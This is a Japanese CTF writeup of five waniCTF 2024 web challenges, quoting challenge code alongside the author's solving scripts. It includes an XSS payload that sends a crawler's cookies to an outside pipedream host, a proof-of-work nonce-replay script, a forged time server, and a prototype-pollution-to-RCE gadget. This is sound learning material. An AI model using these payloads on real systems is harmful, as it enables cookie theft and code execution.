[waniCTF 2024] writeup(web)
[web] Bad_Worker
https://web-bad-worker-lz56g6.wanictf.org/fetchdata からflagを取得しようとすると、dummyのflagが取得されます。
service-worker.js
で動作するService Workerがリクエストを改竄しているようです。
async function onFetch(event) {
let cachedResponse = null;
if (event.request.method === 'GET') {
const shouldServeIndexHtml = event.request.mode === 'navigate';
let request = event.request;
if (request.url.toString().includes("FLAG.txt")) {
request = "DUMMY.txt";
}
if (shouldServeIndexHtml) {
request = "index.html"
}
return fetch(request);
}
return cachedResponse || fetch(event.request);
}
直接バックエンドのAPIを叩いてflagを取得します。
$ curl "https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt"
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
[web] pow
なんかめっちゃ計算してる雰囲気が出ています。
ページソースは以下です。期待するハッシュ値が計算できたら、バックエンドに提出します。
<!DOCTYPE html>
<html>
<head>
<title>POW Client</title>
</head>
<body>
<h1>Proof of Work</h1>
<p>Calculate hashes to get the flag!</p>
<p>Client status: <span id="client-status">(no status yet)</span></p>
<p>Server response: <span id="server-response">(no hash sent yet)</span></p>
<script
src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"
integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ=="
crossorigin="anonymous"
referrerpolicy="no-referrer"
></script>
<script>
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) {
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();
</script>
</body>
</html>
ブラウザのNetwork
タブを見ると、確かにハッシュを提出しています。
progress
も進んでいます。1000000に達するとflagが取得できそうです。
試しに、求まったハッシュを配列に100個入れて送ると、progress
が100進みました。
10000個の固定ハッシュ値を入れた配列を100回送信すると、progress
が1000000になりflagが取得できそうです。たまにrate limitに達するので気長に待ちます。
import requests
import time
hash_value = "7844289"
payload = [hash_value for _ in range(10000)]
# ヘッダーの設定
headers = {
"Content-Type": "application/json",
"Cookie": "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiI2Y2I4MjZhNy0xMTRhLTQxOWEtYjg2OC1hYjZkOTlkM2UyZWQifQ.TdIHAJ7BvWSDkNnHWCeIMRa4gffEBurLit_JlHAo24w"
}
def send_request():
response = requests.post("https://web-pow-lz56g6.wanictf.org/api/pow", json=payload, headers=headers)
return response.text
def main():
for _ in range(100):
try:
time.sleep(10)
response = send_request()
print(response)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
% python3 solver.py
progress: 950000 / 1000000
progress: 960000 / 1000000
progress: 970000 / 1000000
progress: 980000 / 1000000
progress: 990000 / 1000000
FLAG{N0nCE_reusE_i$_FUn}
[web] Noscript
ユーザープロフィール画面でUsername
とProfile
を指定でき、指定のパスを報告するとクローラーが訪問するwebアプリのようです。
クローラーはCookieにflagを持った状態でhttps://web-noscript-lz56g6.wanictf.org/[指定のパス]
にアクセスします。
const crawl = async (path) => {
const browser = await chromium.launch();
const page = await browser.newPage();
const cookie = [
{
name: "flag",
value: FLAG,
domain: HOST,
path: "/",
expires: Date.now() / 1000 + 100000,
},
];
page.context().addCookies(cookie);
try {
await page.goto(APP_URL + path, {
waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", err.message);
} finally {
await browser.close();
console.log("crawl", "browser closed");
}
};
XSSでcookieに含まれるflagを取得する問題だと予想できます。
XSSはapp/main.go
のGET:/user/:id
にあります。profile
に指定した値をHTMLとして返します。
// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
profile
にcookieを取得するJavaScriptを挿入すればflagが取得できそうですが、よく見るとCSPが設定されています。default-src 'self'
かつscript-src 'none'
なので、JavaScriptは挿入できなさそうです。
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
実際にJavaScriptを挿入するとエラーが出ます。
ここで、username
のみを取得するエンドポイントがあることに気づきます。
username
を取得して特にエスケープ処理をかけずに返送します。こちらのエンドポイントではCSPは設定されていません。
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
username
にCookieを窃取するJavaScriptを挿入し、src
に/username:id
を指定したiframeをprofile
に入れることで、CSPがdefault-src 'self', script-src 'none'
のもとでもflagが取得できそうです。
Username: <script>fetch(`https://[yours].m.pipedream.net?cookie=${document.cookie}`)</script>
Profile: <iframe src="/username/41b3e2c5-8a30-4f4c-8b98-02d4e08a57c4">
/user/e89c6fe2-3c94-49db-8a9c-1c795ffc300b
をクローラーに送信するとRequestBinにflagが送信されます。
flag=FLAG{n0scr1p4_c4n_be_d4nger0us}
[web] One Day One Letter
現在の時刻を元にflagを一部だけ表示するwebアプリのようです。
content-server
とtime-server
の2つのwebサーバがあり、content-server
はtime-server
から現在の時刻を取得します。
content-server/server.py
は以下です。
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
try:
nbytes = int(self.headers.get('content-length'))
body = json.loads(self.rfile.read(nbytes).decode('utf-8'))
timestamp = body['timestamp'].encode('utf-8')
signature = bytes.fromhex(body['signature'])
timeserver = body['timeserver']
pubkey = get_pubkey_of_timeserver(timeserver)
h = SHA256.new(timestamp)
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(h, signature)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
dt = datetime.fromtimestamp(int(timestamp))
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8'))
self.requestline
except Exception:
self.send_response(HTTPStatus.UNAUTHORIZED)
self.end_headers()
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()
time-server/server.py
は以下です。
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
やっていることを整理します。
content-server
はtime-server
のGET:/pubkey
から公開鍵を取得して、受信したsignature
を検証することで、受信したtimestamp
が正しいことを確認する。content-server
が公開鍵を取得するサーバはtimeserver
パラメータをで指定できる。
また、表示するflagのindexはtimestamp // (60*60*24) % 12
で決まります。
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
つまり、以下のことをやればflagが取得できそうです。
- 偽
time-server
を用意して、flagの12文字を全て表示するtimestamp
とsignature
の組を作成する - 偽
time-server
がGET:/pubkey
エンドポイントで公開鍵を返すようにする
偽time-server
は以下です。
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamps = []
for idx in range(12):
timestamp = (60*60*24) * idx
timestamp_bytes = str(timestamp).encode('utf-8')
h = SHA256.new(timestamp_bytes)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
timestamps.append({'timestamp' : timestamp_bytes.decode('utf-8'), 'signature': signature.hex()})
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps(timestamps)
self.wfile.write(res_body.encode('utf-8'))
handler = HTTPRequestHandler
httpd = HTTPServer(('', 8000), handler)
httpd.serve_forever()
ngrokなどのサービスを用いて、外部から偽time-serverにアクセス可能にします。
まずは偽time-server
のGET:/
を叩いて12個のtimestamp
とsignature
の組を取得します。
[
{
"timestamp": "0",
"signature": "d0d59814c5e8afe30cd22b0d0b62745b56e7bef8bfef5f2f08b572c63740745b62375188e88da4d1678299017c7d55003c364bce325743fd471d731e08bd33b0"
},
{
"timestamp": "86400",
"signature": "95b06e91c4542819acf7b552729900f8fc9816f7fdd41045178971c8651b0cd39ecc81caf8eb5b4aa4f0055761ebcb568b596931a8fc6e9217a331a985bfa2ff"
},
...
{
"timestamp": "950400",
"signature": "1ec57b0ba091c05e11cf293a8ac6c1f08979614f2d5282b11920434e1775ba8ecd21d1dce059a08df3c5cc543fc62dd1c6e012644fd4b6e0ba73068fe33ef3f7"
}
]
次に、BurpSuiteなどのローカルリクエストを用いてリクエストをキャプチャしてtimestamp
、signature
を取得したものに変更します。
POST / HTTP/2
Host: web-one-day-one-letter-content-lz56g6.wanictf.org
...
{
"timestamp":"0",
"signature":"fd78463f99630dfa0b2ce07ccb45d45a3e33d21b970c30a8957fa3678625a203624a376a8fc9dade2e2bddf16cf26c26f7959d849fd4ba854f7276aba6e23de3",
"timeserver":"26ca-45-94-210-216.ngrok-free.app"
}
レスポンスからflagの1文字目はl
だとわかります。
<p>Current time is 1970-01-01 00:00:00.</p>
<p>Flag is FLAG{l???????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
これを12回繰り返してflagを取得します。
FLAG{lyingthetime}
[web] elec
解けなかったElectronの問題です。
このようにTitle
とContent
を送信すると、それらがページに表示されます。
Report
ボタンを押すと、クローラーがそのページを訪問します。
このクローラーはElectronで作られています。Electronのセキュリティについては何も知らなかったのでこの辺を見て学習しました。
- https://blog.flatt.tech/entry/electron_security_vscode_casestudy
- https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own
elec-admin-console/src/main.js
を見ると、セキュリティ設定を見ることができます。
const createWindow = () => {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, "preload.js"),
contextIsolation: false,
sandbox: false,
},
});
win.webContents.once("did-finish-load", () => {
console.log("#############################################");
console.log("Page loaded!");
});
win.loadURL(pageUrl);
};
contextIsolation: false
なので、Preloadスクリプト及びElectronの内部ロジックがwebContents
と同じコンテキストで実行されます。また、sandbox: false
なので、プログラムは保護された領域で実行されません。
また、外部から入力が可能なcontent
には独自のサニタイズ処理がなされており、img
タグを用いたXSS(<img src=x onerror="alert(1)">
など)が可能です。しかし、flagはクローラーのcookieなどに含まれておらず、サーバ側の/flag
にファイルとして置かれています。
{{define "article"}}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{{ .Title }} - Blog</title>
{{template "bs-css"}}
{{template "bs-js"}}
</head>
<body>
{{template "navbar"}}
<div class="container">
<h1 class="mb-3">{{ .Title }}</h1>
<div id="content" class="mb-3"></div>
<form method="post" action="/report/{{ .ID }}">
<button type="submit" class="btn btn-secondary">Report</button>
</form>
</div>
{{template "admin-footer"}}
<script type="module">
import sanitizeHtml from 'https://esm.sh/sanitize-html@2.11.0'
document.getElementById("content").innerHTML = sanitizeHtml({{ .Content }}, {allowedTags: ["p", "br", "hr", "a", "img", "blockquote", "ul", "ol", "li"],allowedAttributes: {'*':['*']}})
</script>
</body>
</html>
{{end}}
状況を整理します。
- Preloadスクリプト及びElectronの内部ロジックは
webContents
と同じコンテキストで実行される - XSSが可能
- flagはサーバ側の
/flag
にある
これらを考慮するとXSSを介してPrototype Pollutionを行い、RCEに繋げてflagを取得することが想定できます。
elec-admin-console/src/preload.js
を見ると、child_process
のspawn
が実行されています。
const { spawn } = require("node:child_process");
window.addEventListener("load", async () => {
const versions = {
app: "0.0.1",
node: process.versions.node,
chrome: process.versions.chrome,
electron: process.versions.electron,
};
console.log(versions);
const cp = spawn("uname", ["-a"]);
console.log(cp);
const kernelInfo = await loadStream(cp.stdout);
console.log("###############################################################################");
console.log("###############################################################################");
console.log(kernelInfo.toString());
document.getElementById("app-version").textContent = versions.app;
document.getElementById("node-version").textContent = versions.node;
document.getElementById("chrome-version").textContent = versions.chrome;
document.getElementById("electron-version").textContent = versions.electron;
document.getElementById("kernel-info").textContent = kernelInfo.toString();
document.getElementById("admin-footer").classList.remove("d-none");
});
hacktricksのPrototype Pollution to RCEの記事を眺めていると、spawn
が使用されている場合に、環境変数を介してRCEを行う方法が書かれていました。
これはspawn
などが実行される際にoptions
として渡されるenv
が指定されないことを利用するものです。
hoge.__proto__env
に{"AAA": "console.log(123)//"}
などを入れ、hoge.__proto__.NODE_OPTIONS
に--require /proc/self/environ
を入れると、console.log(123)//
が/proc/self/environ
に追加された状態でnodejsのプログラムとして実行されます。コメントアウト//
によりconsole.log(123)
以降は無視されるので、任意の処理を実行することができます。
これをまずローカルで試していましたが、どうも上手くいきませんでした。
const { fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.env = { "AAAAAA":"console.log('123')//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork('./a_file.js');
期待する結果
$ node hoge.js
123
実際
$ node hoge.js
/proc/277/environ:1
HOSTNAME=4659a0d0f88e
^^^^
SyntaxError: Invalid or unexpected token
原因を探っていると、options.env
が書き換えられていないことがわかりました。これはoptions
が指定されない(undefined
)の時にoptions
にkEmptyObject
を入れる処理に基づいています(該当部分のコード)。
どうやらv18.4.0から実装されたようです(参考)。
ここで、spawnを利用してPrototype Pollution to RCEを実現するのは無理だ…となり終了しました。
他の方のwriteupを見ていると、const cp = spawn("uname", ["-a"]);console.log(cp);
に着目し、console.log
を書き換えることでRCEを行っていました。
https://blog.hamayanhamayan.com/entry/2024/06/23/212226#Web-elec
この着眼点が欲しい…(これに気付けていてもRCEまでできるガチャガチャ力がない気がする)
おわりに
ボス問のtls-specは見れていないですが、個人的にはNoscriptとelecが好きでした。
特に自分はelectronのセキュリティ機構について全く知らなかったので、これを機会に学ぶことができてよかったです。